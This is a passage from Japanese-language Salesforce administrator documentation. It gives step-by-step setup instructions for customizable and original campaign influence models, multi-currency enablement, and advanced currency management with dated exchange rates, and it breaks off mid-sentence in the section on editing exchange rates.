モデルごとの商談に対するキャンペーンインフルエン
ス

モデルごとのキャンペーンの影響を受けた商談

モデルごとのキャンペーンのキャンペーン結果

API へのアクセス

カスタマイズ可能なキャンペーンインフルエンスの設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

カスタマイズ可能なキャンペーンインフルエンスを設定してリリースするには、
次の手順を実行します。

メモ: この情報は、カスタマイズ可能なキャンペーンインフルエンスにの
み適用され、元のバージョンのキャンペーンインフルエンスには適用され
ません。

カスタマイズ可能なキャンペーンインフルエンスの設定
カスタマイズ可能なキャンペーンインフルエンスを有効化すると、マーケ
ティング部門で複数のキャンペーンに収益を割り当てられるようになりま
す。
ユーザに対するカスタマイズ可能なキャンペーンインフルエンスの有効化
カスタマイズ可能なキャンペーンインフルエンスを使用する予定のある営業
ユーザおよびマーケティングユーザに、「キャンペーンインフルエンス」権限が有効化された「営業ユー
ザ」権限セットが割り当てられていることを確認します。
ページレイアウトへのカスタマイズ可能なキャンペーンインフルエンスの追加
マーケティングユーザに、各商談に影響を与えたキャンペーンと各キャンペーンの結果を表示します。
カスタムキャンペーンインフルエンスモデルの作成
カスタムインフルエンス属性モデルを実装するには、まず [設定] で数回クリックしてモデルを追加します。
次に、キャンペーンインフルエンスレコードを追加するトリガとプロセスのセットを作成し、モデルに割
り当てます。モデルの実装に支援が必要な場合はパートナーと協力します。
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主キャンペーンインフルエンスモデルの指定
商談およびキャンペーン詳細ページに表示されるキャンペーンインフルエンスモデルを変更します。
カスタムキャンペーンインフルエンスモデルのロック
ユーザがキャンペーンインフルエンスモデルのキャンペーンインフルエンスレコードを追加または編集で
きないようにするには、モデルをロックします。ロックされたモデルは、API 経由でのみアクセスできま
す。

カスタマイズ可能なキャンペーンインフルエンスの設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタマイズ可能なキャ
ンペーンインフルエンス
を設定する
• 「アプリケーションの

カスタマイズ」および
Sales Cloud または CRM
権限セットライセンス

カスタマイズ可能なキャンペーンインフルエンスを有効化すると、マーケティ
ング部門で複数のキャンペーンに収益を割り当てられるようになります。

メモ: この情報は、カスタマイズ可能なキャンペーンインフルエンスにの
み適用され、元のバージョンのキャンペーンインフルエンスには適用され
ません。

1. [設定] から、[クイック検索] ボックスに「キャンペーンインフルエンス」と入
力し、[キャンペーンの影響の設定] を選択します。

2. [有効] を選択します。
3. 現在、元のバージョンのキャンペーンインフルエンスを使用している場合、

カスタマイズ可能なキャンペーンインフルエンスでインフルエンス属性が 0%

の既存のキャンペーンインフルエンスレコードを新しい Salesforce モデルに移
行するかどうかを選択します。
これらのレコードが移行されないようにするには、[商談の主キャンペーンで
はキャンペーンインフルエンスレコードのみを移行] をクリックします。

4. [Salesforce モデル設定] で、キャンペーンの自動関連付けを有効化するか、無
効化するかを選択します。Salesforce 属性モデルではデフォルトで自動関連付
けが有効化され、Salesforce モデルでのみ使用できます。
自動関連付けにより、商談の取引先責任者がキャンペーンのメンバーでもあ
る場合は自動的にキャンペーンが商談に追加されます。商談にリストされた
取引先責任者も、完了予定日より前に商談の取引先責任者ロールに割り当てる必要があります。

5. 必要に応じて、取引先責任者がキャンペーンに追加された日から商談の作成日までの許容日数を制限する
ことで、キャンペーンの自動関連付けを抑制します。
たとえば、取引先責任者がキャンペーンに追加されてから 90 日以上経過後に商談が作成された場合はキャ
ンペーンが商談に自動関連付けされないようにするには、「90」 と入力します。

6. 必要に応じて、キャンペーンを商談に自動関連付けするために満たす必要がある、その他の検索条件を定
義します。
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ユーザに対するカスタマイズ可能なキャンペーンインフルエンスの有効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

権限セットを割り当てる
• 「アプリケーションの

カスタマイズ」

カスタマイズ可能なキャンペーンインフルエンスを使用する予定のある営業ユー
ザおよびマーケティングユーザに、「キャンペーンインフルエンス」権限が有
効化された「営業ユーザ」権限セットが割り当てられていることを確認します。

メモ: この情報は、カスタマイズ可能なキャンペーンインフルエンスにの
み適用され、元のバージョンのキャンペーンインフルエンスには適用され
ません。

1. 商談に影響を与えるキャンペーンを追跡する予定のユーザに割り当てられて
いるユーザプロファイルに、「営業ユーザ」権限セットを追加します。

2. 「営業ユーザ」権限セットで、「キャンペーンインフルエンス」権限を有効
化します。

関連トピック:

権限セットの割り当ての管理

ページレイアウトへのカスタマイズ可能なキャンペーンインフルエンスの追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ページレイアウトを変更
する
• 「アプリケーションの

カスタマイズ」

マーケティングユーザに、各商談に影響を与えたキャンペーンと各キャンペー
ンの結果を表示します。

メモ: この情報は、カスタマイズ可能なキャンペーンインフルエンスにの
み適用され、元のバージョンのキャンペーンインフルエンスには適用され
ません。

• [キャンペーンインフルエンス] 関連リストを商談ページレイアウトに追加し
ます。
この関連リストには、商談に関連したキャンペーンが表示されます。プライ
マリインフルエンスモデルのキャンペーンインフルエンスレコードのみがリ
ストに表示されます。

• [影響を受ける商談] 関連リストをキャンペーンページレイアウトに追加しま
す。
この関連リストには、キャンペーンの影響を受けた商談が表示されます。プ
ライマリインフルエンスモデルのキャンペーンインフルエンスレコードのみ
がリストに表示されます。

• [キャンペーン結果] セクションをキャンペーンページレイアウトに追加しま
す。
[キャンペーン結果] セクションには、プライマリキャンペーンインフルエンスモデルに基づいて、キャン
ペーンで得られた合計金額が表示されます。
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カスタムキャンペーンインフルエンスモデルの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタマイズ可能なキャ
ンペーンインフルエンス
を設定する
• 「アプリケーションの

カスタマイズ」

および

Sales Cloud または CRM
権限セットライセンス

カスタムインフルエンス属性モデルを実装するには、まず [設定] で数回クリッ
クしてモデルを追加します。次に、キャンペーンインフルエンスレコードを追
加するトリガとプロセスのセットを作成し、モデルに割り当てます。モデルの
実装に支援が必要な場合はパートナーと協力します。

メモ: この情報は、カスタマイズ可能なキャンペーンインフルエンスにの
み適用され、元のバージョンのキャンペーンインフルエンスには適用され
ません。

1. [設定] から、[クイック検索] ボックスに「モデルの設定」と入力し、[モデル
の設定] をクリックします。

2. [新規属性モデル] をクリックします。
3. モデルの名前を入力します。
4. このモデルを主モデルにするには、[主モデル] を選択します。

主モデルのキャンペーンインフルエンスレコードのみが商談の [キャンペー
ンインフルエンス] 関連リストに表示されます。主モデルからのレコードも
キャンペーンの [影響を受ける商談] 関連リストと [キャンペーン統計] セク
ションに表示されます。

5. ユーザがキャンペーン詳細ページでこのモデルのキャンペーンインフルエン
スレコードを追加、編集、削除できないようにするには、[ロック済みモデ
ル] を選択します。
ロックされたモデルのレコードのみが API で作成および更新できます。

6. 必要に応じてモデルの説明を入力します。
7. [保存] をクリックします。
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主キャンペーンインフルエンスモデルの指定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタマイズ可能なキャ
ンペーンインフルエンス
を設定する
• 「アプリケーションの

カスタマイズ」

および

Sales Cloud または CRM
権限セットライセンス

商談およびキャンペーン詳細ページに表示されるキャンペーンインフルエンス
モデルを変更します。

メモ: この情報は、カスタマイズ可能なキャンペーンインフルエンスにの
み適用され、元のバージョンのキャンペーンインフルエンスには適用され
ません。

1. [設定] から、[クイック検索] ボックスに「モデルの設定」と入力し、[モデル
の設定] をクリックします。

2. 主モデルとして指定するモデルの横にある [編集] をクリックします。
3. [主モデル] をクリックします。
4. [保存] をクリックします。
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カスタムキャンペーンインフルエンスモデルのロック

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタマイズ可能なキャ
ンペーンインフルエンス
を設定する
• 「アプリケーションの

カスタマイズ」

および

Sales Cloud または CRM
権限セットライセンス

ユーザがキャンペーンインフルエンスモデルのキャンペーンインフルエンスレ
コードを追加または編集できないようにするには、モデルをロックします。ロッ
クされたモデルは、API 経由でのみアクセスできます。

メモ: この情報は、カスタマイズ可能なキャンペーンインフルエンスにの
み適用され、元のバージョンのキャンペーンインフルエンスには適用され
ません。

1. [設定] から、[クイック検索] ボックスに「モデルの設定」と入力し、[モデル
の設定] をクリックします。

2. ロックするモデルの横にある [編集] をクリックします。
3. [ロック済みモデル] をクリックします。
4. [保存] をクリックします。

キャンペーンインフルエンス 1.0

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

元のバージョンのキャンペーンインフルエンスを使用して、キャンペーンの投
資収益を把握します。

メモ: この情報は、元のバージョンのキャンペーンインフルエンスにのみ
適用され、カスタマイズ可能なキャンペーンインフルエンスには適用され
ません。

影響のあるキャンペーンの商談への追加
商談に影響のあるキャンペーンのリストを商談詳細ページで直接管理しま
す。
キャンペーンインフルエンスの設定
商談に影響を与えるキャンペーンのユーザへの表示
1 つの商談に影響のある複数のキャンペーンを関連付けます。
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キャンペーンインフルエンスの設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

キャンペーンインフルエ
ンスを設定する
• 「アプリケーションの

カスタマイズ」

メモ: この情報は、元のバージョンのキャンペーンインフルエンスにのみ
適用され、カスタマイズ可能なキャンペーンインフルエンスには適用され
ません。

キャンペーンインフルエンスの設定
影響のあるキャンペーンが商談に自動的に追加されるように設定できます。自
動関連付けが有効になっていると、影響のあるキャンペーンが商談完了日前の
商談の取引先責任者ロールに割り当てられている取引先責任者と関連している
場合に、そのキャンペーンが商談に自動的に追加されます。たとえば、進行中
の商談に対する取引先責任者のロールに割り当てられているメンバーが含まれ
るメールキャンペーンがある場合、そのメールキャンペーンは、その商談の
[キャンペーンインフルエンス] 関連リストに追加されます。
キャンペーンインフルエンス期間条件を設定できます。キャンペーンインフル
エンス期間条件は、キャンペーンが最初に関連付けられた日から商談が作成さ
れるまでの、キャンペーンが影響したとみなされる最大日数を指定するもので
す。たとえば、[キャンペーンインフルエンス期間条件] を 15 日と指定し、取引
先責任者の一人が 6 月 1 日にキャンペーンのメンバーになった場合、そのキャン
ペーンは 6 月 15 日までに作成されその取引先責任者に関連付けられる商談に対
して、影響力があるとみなされます。関連付けルールを使用して、キャンペーンを自動的に商談に関連付ける
ために必要な条件を追加設定します。
自動関連付けが無効になっている場合、ユーザは [キャンペーンインフルエンス] 関連リストを使用して、手動
で影響力のあるキャンペーンを商談に追加する必要があります。
キャンペーンインフルエンスの自動関連付けを設定する手順は、次のとおりです。
1. [設定] から、[クイック検索]ボックスに「キャンペーンインフルエンス」と入力し、[キャンペーンインフル

エンス] を選択します。
2. [有効化] を選択します。
3. 必要に応じて、[キャンペーンインフルエンス期間条件]項目で、キャンペーンが最初に関連付けられた日か

ら商談が作成されるまでの最大日数を指定します。

メモ: キャンペーン影響期間より前に取引先責任者に関連付けられたキャンペーンは、影響があると
はみなされません。キャンペーンインフルエンス期間条件は、最大 9,999 日です。キャンペーンインフ
ルエンス期間条件を指定しない場合は、[キャンペーンインフルエンス期間条件] 項目を空白にしてお
きます。

4. 必要に応じて、キャンペーンの自動関連付けを行うために満たす必要がある、その他の検索条件を定義し
ます。

5. [保存] をクリックします。
キャンペーンは、指定された条件を満たすと、商談の [キャンペーンインフルエンス] 関連リストに自動的に追
加されます。
キャンペーンインフルエンスの自動関連付けを無効にする手順は、次のとおりです。
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1. [設定] から、[クイック検索]ボックスに「キャンペーンインフルエンス」と入力し、[キャンペーンインフル
エンス] を選択します。

2. [無効化] を選択します。
3. [保存] をクリックします。

関連トピック:

商談に影響を与えるキャンペーンのユーザへの表示
キャンペーンの項目

商談に影響を与えるキャンペーンのユーザへの表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

キャンペーンインフルエ
ンスを設定する
• 「アプリケーションの

カスタマイズ」

[キャンペーンインフルエ
ンス] 関連リストを参照す
る
• キャンペーンに対する

「参照」

および

商談に対する「参照」

影響のあるキャンペーン
を手動で追加する
• キャンペーンに対する

「参照」

および

商談に対する「編集」

1 つの商談に影響のある複数のキャンペーンを関連付けます。

メモ: この情報は、元のバージョンのキャンペーンインフルエンスにのみ
適用され、カスタマイズ可能なキャンペーンインフルエンスには適用され
ません。

自動関連付けが有効になっていると、影響のあるキャンペーンが商談完了日前
の商談の取引先責任者ロールを持つ取引先責任者と関連している場合に、その
キャンペーンが商談に自動的に追加されます。キャンペーンインフルエンス期
間条件などの自動追加条件を指定できます。キャンペーンインフルエンス期間
条件は、新規商談にキャンペーンが影響することができる期間を、キャンペー
ンが最初に関連付けられた日から商談が作成されるまでの期間内に制限するも
のです。影響のあるキャンペーンを手動で商談に追加する場合は、[キャンペー
ンインフルエンス] 関連リストの [キャンペーンの追加] ボタンをクリックしま
す。
1. [商談] のオブジェクト管理設定から、[ページレイアウト] に移動します。
2. [キャンペーンインフルエンス] 関連リストを商談ページレイアウトに追加し

ます。
3. キャンペーンインフルエンスを設定します。

関連トピック:

キャンペーンの項目
オブジェクト管理設定の検索
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通貨の管理

マルチ通貨の管理

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

通貨を表示する
• 「設定・定義を参照す

る」

通貨を変更する
• 「アプリケーションの

カスタマイズ」

商談、売上予測、見積、レポート、およびその他のデータでマルチ通貨を使用
するように組織を設定できます。
1. 組織で使用するマルチ通貨を有効にします。
2. マスタ通貨を指定するには、[設定] から、[クイック検索] ボックスに「通貨

の管理」と入力し、[通貨の管理] を選択して、[マスタ通貨の設定] をクリッ
クします。

3. 組織で使用する他の通貨を有効にするには、[有効な通貨] 関連リストの [新
規] をクリックします。

4. 期間指定換算レートを使用するには、高度な通貨管理を有効にします。
5. 新しい通貨の変換レートを設定します。「換算レートの編集」を参照してく

ださい。高度な通貨管理を有効にしてある場合は、「期間指定換算レートの
編集」 (ページ 2238)を参照してください。

マルチ通貨の使用
国際的な企業では、商談、売上予測、レポート、見積、およびその他の通貨項
目でマルチ通貨を使用できます。システム管理者は、本社が使用する通貨であ
る「マスタ通貨」を設定します。システム管理者はまた、有効な通貨とマスタ
通貨に対する相対換算レートのリストも管理します。有効な通貨は、組織が事
業を行っている国を表します。通貨金額項目に使用できるのは有効な通貨のみ
です。
各ユーザには個人設定の通貨があり、目標、売上予測 (使用する売上予測バージョンによって異なる)、商談、
見積、レポートのデフォルト通貨として使用されます。ユーザは、商談を作成し、他の有効な通貨を使用して
金額を入力することもできます。
通貨項目を含む標準およびカスタムオブジェクトレコードのすべてに、そのレコードのすべての金額項目で使
用する通貨を指定する項目があります ([編集]をクリックすると、レコードのこの編集可能な [通貨]項目が表
示されます)。たとえば、[取引先通貨] を「USD」(アメリカドル) に設定し、アメリカの取引先のいずれかで
[年間売上] がドルで表示されるようにすることができます。すべての通貨金額は、レコードのデフォルト通
貨で表示されます。ユーザの個人設定の通貨がレコードの通貨と異なる場合、システム管理者は括弧内に個人
設定の通貨による金額も表示するかどうかを指定できます。レコードのデフォルト通貨を変更した場合、通貨
金額は換算されません。新しい通貨コードが表示されるだけです。

メモ: 組織で高度な通貨管理を使用している場合、商談完了日によって、通貨金額を表示するときに使用
される換算レートが決まります。

使用する売上予測バージョンに応じて、売上予測通貨金額は、ユーザの個人設定の通貨に換算されます。さら
に、マネージャの場合、チームの商談、売上予測、見積、およびその他のデータがマネージャの個人設定の通
貨に換算されて積み上げ集計されます。マネージャは、ドリルダウンしてデータを本来の通貨で表示すること
もできます。すべての換算と積み上げ集計は自動的に行われます。
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レポートの金額はそれぞれのオリジナルの通貨で表示されますが、有効な通貨であれば表示することができま
す。[表示] > [通貨]から通貨を選択して、レポートの合計に使用する通貨を変更できます。デフォルト値はユー
ザの個人設定の通貨です。すべての金額に対して、[変換済み] 列を表示するように選択できます ([変換された
年間売上] など)。[変換済み] 列には、選択した通貨で金額が表示されます。
カスタム数式項目は、特定の通貨に関連付けられていません。数式項目の結果が通貨金額の場合、関連付けら
れたレコードの通貨で表示されます。このルールは、さまざまな通貨の項目を使用する差し込み項目を参照す
るクロスオブジェクト数式や、ワークフロールールおよび承認プロセスの数式にも適用されます。ただし、数
式ではなく検索条件を使用するワークフロールールおよび承認プロセスでは、すべての通貨値はマスタ通貨に
換算されます。
Apexで通貨項目が参照される場合、組織のマルチ通貨を無効にできません。たとえば、Apexコードで [取引先
通貨]項目 (コードでは CurrencyIsoCodeとして表される) が参照される場合、マルチ通貨を無効にすること
はできません。

関連トピック:

マルチ通貨の有効化

マルチ通貨の有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

組織でマルチ通貨を有効化する手順は、次のとおりです。
1. マルチ通貨の有効化による影響についてよく理解します。
2. [設定] から、[クイック検索] ボックスに「組織情報」と入力し、[組織情報]

を選択して、[編集] をクリックします。選択した通貨のロケールが、現在お
よび将来のレコードに使用するデフォルトの通貨になることを確認します。
[マルチ通貨の有効化のサポートを許可] を有効にして、変更を保存します。

メモ: この設定は、マルチ通貨の有効化の承認対象となる特定の組織を
検証するために使用されます。Salesforceに要求が送信されることはあり
ません。通常のサポートプロセスを通じて要求を送信します。

3. マルチ通貨を有効にするには、Salesforce に連絡します。次の情報を提供する
準備をしておきます。
• 組織 ID (本番または Sandbox)

• 現在の通貨のロケールが現在および将来のレコードで使用するデフォルトの通貨スタンプ (USD、EUR、
GBP など) になることを理解していることの確認

• マルチ通貨をいったん有効化すると、無効化できないことを理解していることの確認
• マルチ通貨の有効化を組織に代わって要求できる権限が与えられたシステム管理者であることの確認
• 組織のデータ使用量に応じてこの組織が特定期間ロックアウトされることに同意することの確認
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メモ: 大規模な組織の場合、平日のパフォーマンス上の問題を避けるため、週末にマルチ通貨を有
効化することがあります。

関連トピック:

マルチ通貨の有効化による影響
マルチ通貨の管理
高度な通貨管理について

マルチ通貨の有効化による影響

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

マルチ通貨を有効化すると、組織で永続的な変更が実行されます。組織の移行
を円滑に行うため、有効化する前にこれらの影響に留意してください。
• 組織でマルチ通貨を有効化すると、無効化できません。
• Salesforce の担当者と連携して、マルチ通貨の有効化に最も適した時間帯を決

定します。有効化処理によって組織が一時的にロックされ、すべてのインテ
グレーション処理およびユーザログインができなくなります。ロックアウト
期間は、組織で使用するデータ容量によって異なります。

• 有効化を行うと、有効化要求で指定したデフォルトの通貨コードを使用し
て、既存のレコードにスタンプが付けられます。たとえば、USD および EUR

を使用するレコードが組織に含まれている場合、有効化を行う前にそれらの
レコードをすべて同じデフォルト通貨に切り替えます。Salesforce の有料実装
サービスでは、このような変換のサポートもご利用いただけます。

• 取引先、リード、ケース、商談、商談商品、商談商品スケジュール、キャン
ペーン商談などの標準オブジェクトとカスタムオブジェクトには、マルチ通貨がサポートされる通貨項目
があります。これらのオブジェクトと項目に関連するレポートでもマルチ通貨がサポートされます。デフォ
ルトでは、これらのオブジェクトのページレイアウトにマルチ通貨と互換性のある項目があります。この
項目により、レコードの通貨を指定できます。通常、これらの項目は、レコードの作成時または既存レコー
ドの編集時にのみ使用できます。選択した通貨は、主金額項目に使用されます。

• 有効化の後、主通貨は通常どおり表示され、必要に応じてその後に第 2 通貨金額が括弧内に表示されます。
通常、レコードレベルで上書きしない限り、主通貨がデフォルトのマスタ通貨になります。括弧内に表示
される金額は、ユーザの個人設定のデフォルト通貨であり、組織で定義された換算レート設定に基づいて
計算されます。換算した通貨金額を表示するかどうかを制御するには、[通貨の管理] ページから括弧内の
通貨換算を有効化または無効化します。

• レポートでは、デフォルトのマスタ通貨またはレコード用に選択された通貨のどちらかが主通貨に反映さ
れます。第 2 通貨には、レポートを実行しているユーザの個人設定のデフォルト通貨またはレポート条件
で使用された通貨が反映されます。

• ユーザは [個人情報] ページで個人設定のデフォルト通貨を指定できます。括弧内の通貨換算が有効な場合、
個人設定のデフォルト通貨は第 2 通貨金額 (換算後の金額) として表示されます。個人設定のデフォルト通
貨を変更すると、換算後の金額がリアルタイムで更新されます。

• 組織でサポートする通貨リストに通貨を追加した後は、その通貨が無効になっていてもシステム管理者の
通貨リストから削除できません。システム管理者のリストに無効な通貨が表示されても、外見上の問題で
あり、エンドユーザに影響はありません。無効にされた通貨は、エンドユーザには表示されませんが、シ
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ステム管理者には引き続き表示されます。テスト時にはこの問題に注意し、最終的に組織で使用する予定
の通貨のみを使用することをお勧めします。

• 有効化の後、すべての通貨項目には、通貨の ISO コードが金額の前に表示されます。たとえば、$100 は USD

100 と表示されます。

メモ: マルチ通貨組織が 1 つの通貨のみを使用する場合は、ISO コードではなく通貨記号を表示するよ
うに設定できます。通貨記号を表示するには、[設定] でユーザインターフェースを検索し、[ユーザイン
ターフェース設定] ページの [通貨表示設定] セクションで [ISO コードではなく通貨記号を表示する] を
選択します。組織で後から他の通貨も有効にすると、ISO コードが表示され、この設定が使用できなく
なります。この設定は、標準の Salesforce ユーザインターフェースにのみ適用されます。

• デフォルトでは、組織内の換算後の金額はすべて、組織で定義された現在の換算レートに依存します。換
算レートの設定および更新は、手動で行う必要があります。換算レートを変更すると、完了した商談を含
む、すべてのレコードの換算金額が自動的に更新されます。
高度な通貨管理を使用して換算レートの履歴を追跡し、期間指定換算レートを使用することを選択できま
す。高度な通貨管理では、日付範囲別換算レートのリストを管理できます。商談の換算後の通貨金額は、
商談のフェーズに関係なく、指定された完了予定日に基づいて表示されます。完了予定日が別の換算レー
ト期間に変更された場合、換算後の金額に影響が及びます。

メモ: 期間指定換算レートは、売上予測、他のオブジェクト内の通貨項目、または他の種別のレポー
トの通貨項目では使用されません。

関連トピック:

マルチ通貨の有効化
マルチ通貨の管理
高度な通貨管理について
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通貨の有効化と無効化

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

通貨を表示する
• 「設定・定義を参照す

る」

通貨を変更する
• 「アプリケーションの

カスタマイズ」

マルチ通貨を使用する組織では、通貨を有効化または無効化してサポートする
通貨を指定します。
• 有効な通貨 — 組織が業務に使用する通貨を表します。商談、売上予測など

の項目には、有効な通貨のみ入力できます。通貨を有効にすると、完全に削
除することはできません。

• 無効な通貨 — 組織が過去に使用していた通貨です。無効な通貨を使用して
いる既存のレコードがあっても、無効な通貨で新規に金額を入力することは
できません。

新しい通貨を有効にする手順は、次のとおりです。
1. [設定] から [クイック検索]ボックスに「通貨の管理」と入力し、[通貨の管理]

を選択します。
2. [有効な通貨] 関連リストの [新規] をクリックします。
3. 通貨を選択します。通貨は、ISO 通貨コード順に並んでいます。
4. マスタ通貨に対する通貨の変換レートを入力します。
5. この通貨を使用して金額を表示するときの小数点以下の桁数を指定します。
6. [保存] をクリックします。
無効な通貨のリストにある通貨を有効にするには、通貨の横にある [有効化] を
クリックします。
通貨を無効にするには、通貨の横にある [無効化] をクリックします。マスタ通
貨は無効化できません。通貨を無効にしても、その通貨を使用している品目の金額は変更されません。ただ
し、無効にした通貨を使用して新しい金額を入力することはできなくなります。

メモ: ユーザの個人設定の通貨に設定された通貨を無効化すると、ユーザの通貨は自動的にマスタ通貨に
再設定されます。

関連トピック:

マルチ通貨の管理
換算レートの編集
高度な通貨管理について
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高度な通貨管理について

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

高度な通貨管理を有効に
する
• 「アプリケーションの

カスタマイズ」

通貨を表示する
• 「設定・定義を参照す

る」

通貨を変更する
• 「アプリケーションの

カスタマイズ」

高度な通貨管理では、Salesforce を使用する商談において、期間指定換算レート
を管理することができます。期間指定換算レートによって、特定の日付範囲に
換算レートを割り当てることができます。たとえば、1 月 1 日の換算レートが 1

USD に対し 1.39 AUD だったものが、2 月 1 日には 1 USD が 1.42 AUD に変わったとし
ます。1 月 1 日から 2 月 1 日までの間に完了した商談は、最初の換算レート (1 =

1.39) を使用しますが、2 月 1 日以降に完了した商談は、次の換算レート (1 = 1.42)

を使用します。
期間指定換算レートは、開始日と換算レートを使用して定義します。それぞれ
のレートは、終了時刻またはその通貨の次の開始日の前日のどちらかになるま
では有効です。開始日から次の開始日までの期間を、換算レートの日付の範囲
と呼びます。こうした範囲は、短期では 1 日、長期では常時となります。
高度な通貨管理の有効化または無効化についての詳細は、「高度な通貨管理の
有効化または無効化」 (ページ 2236)を参照してください。
高度な通貨管理が初めて有効になると、既存の換算レートは自動的に期間指定
換算レートの最初のセットになります。こうしたレートは、別の換算レートの
セットを定義するまで有効です。詳細は、「期間指定換算レートの編集」 (ペー
ジ 2238)を参照してください。
高度な通貨管理を無効化すると、すべての換算で静的な換算レートが使用され
ます。「換算レートの編集」 (ページ 2237)を参照してください。

メモ: 期間指定換算レートは Lightning Experienceと Salesforce1ではサポートさ
れませんが、一部の機能は制限付きで使用できます。[CloseDate] 項目が商談
のページレイアウト上にある場合は、商談に正しい金額が表示されます。
誰にどのオブジェクトレコードを表示するかはページレイアウトで制御さ
れるため、このページレイアウトが割り当てられているユーザにのみ正し
い金額が表示されます。それ以外の場合、表示される金額には、期間指定
換算レートが適用される前の元の金額が反映されます。

高度な通貨管理の考慮事項
• 期間指定換算レートは、商談、商談商品、商談商品スケジュール、キャンペーン商談項目、商談分割、お

よびこれらのオブジェクトと項目に関連するレポートに使用されます。期間指定換算レートは、売上予測、
他のオブジェクト内の通貨項目、または他の種別のレポートの通貨項目では使用されません。

• 高度な通貨管理を使用する組織では、2 つの高度な通貨管理オブジェクトの間での積み上げ集計項目の使用
をサポートしています。たとえば、積み上げ集計項目は、これら 2 つのオブジェクトで高度な通貨管理が
有効になっているため、商談品目オブジェクトから商談オブジェクトに対してサポートされています。た
だし、高度な通貨管理を有効化すると、取引先オブジェクトに合算される商談オブジェクト上に通貨を計
算する積み上げ集計項目は作成できません。また、取引先オブジェクトの商談通貨項目を検索条件にはで
きません。商談オブジェクト上の既存の通貨関連の積み上げ集計項目はすべて無効になり、その値は以後、
計算されなくなります。組織で高度な通貨管理を有効化すると、商談と取引先、または商談とカスタムオ
ブジェクトを使用する積み上げ集計項目は削除する必要があります。
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• キャンペーン商談項目は、キャンペーン通貨の金額を計算するときに期間指定換算レートを使用しますが、
こうした金額をユーザ通貨に変換するときには使用されません。

• クロスオブジェクト数式では、常に静的換算レートを使用して通貨換算を行います。
• [高度な通貨管理] が有効である場合、<apex:inputField>コンポーネントまたは <apex:outputField>

コンポーネントを使用する Visualforce ページを [高度な通貨管理] をサポートする通貨項目にバインドするこ
とはできません。

関連トピック:

マルチ通貨の管理
通貨の有効化と無効化

高度な通貨管理の有効化または無効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

高度な通貨管理を有効に
する
• 「アプリケーションの

カスタマイズ」

高度な通貨管理を有効にする手順は、次のとおりです。
1. 組織で使用するマルチ通貨を有効にします。詳細は、「マルチ通貨の管理」

(ページ 2230)を参照してください。
2. [設定] から [クイック検索]ボックスに「通貨の管理」と入力し、[通貨の管理]

を選択します。
3. [有効化] をクリックします。
4. 確認メッセージが表示されたら、[はい。高度な通貨管理を有効にします。]

を選択し、[有効化] をクリックします。
高度な通貨管理が初めて有効になると、既存の換算レートは自動的に期間指定
換算レートの最初のセットになります。こうしたレートは、別の換算レートの
セットを定義するまで有効です。
高度な通貨管理を無効にする手順は、次のとおりです。
1. [設定] から [クイック検索]ボックスに「通貨の管理」と入力し、[通貨の管理]

を選択します。
2. [無効化] をクリックします。
3. 確認メッセージが表示されたら、[はい。高度な通貨管理を無効にします。]

を選択し、[無効化] をクリックします。
高度な通貨管理を無効化すると、すべての換算で静的な換算レートが使用されます。「換算レートの編集」
(ページ 2237)を参照してください。
高度な通貨管理が有効になっている場合は、Visualforceの <apex:inputField>  and <apex:outputField> コ
ンポーネントで通貨項目を表示することはできません。

関連トピック:

高度な通貨管理について
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換算レートの編集

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

通貨を表示する
• 「設定・定義を参照す

る」

通貨を変更する
• 「アプリケーションの

カスタマイズ」

換算レートを編集することによって、有効な通貨と無効な通貨およびマスタ通
貨の間の静的換算レートを管理できます。これらの換算レートは、ユーザの組
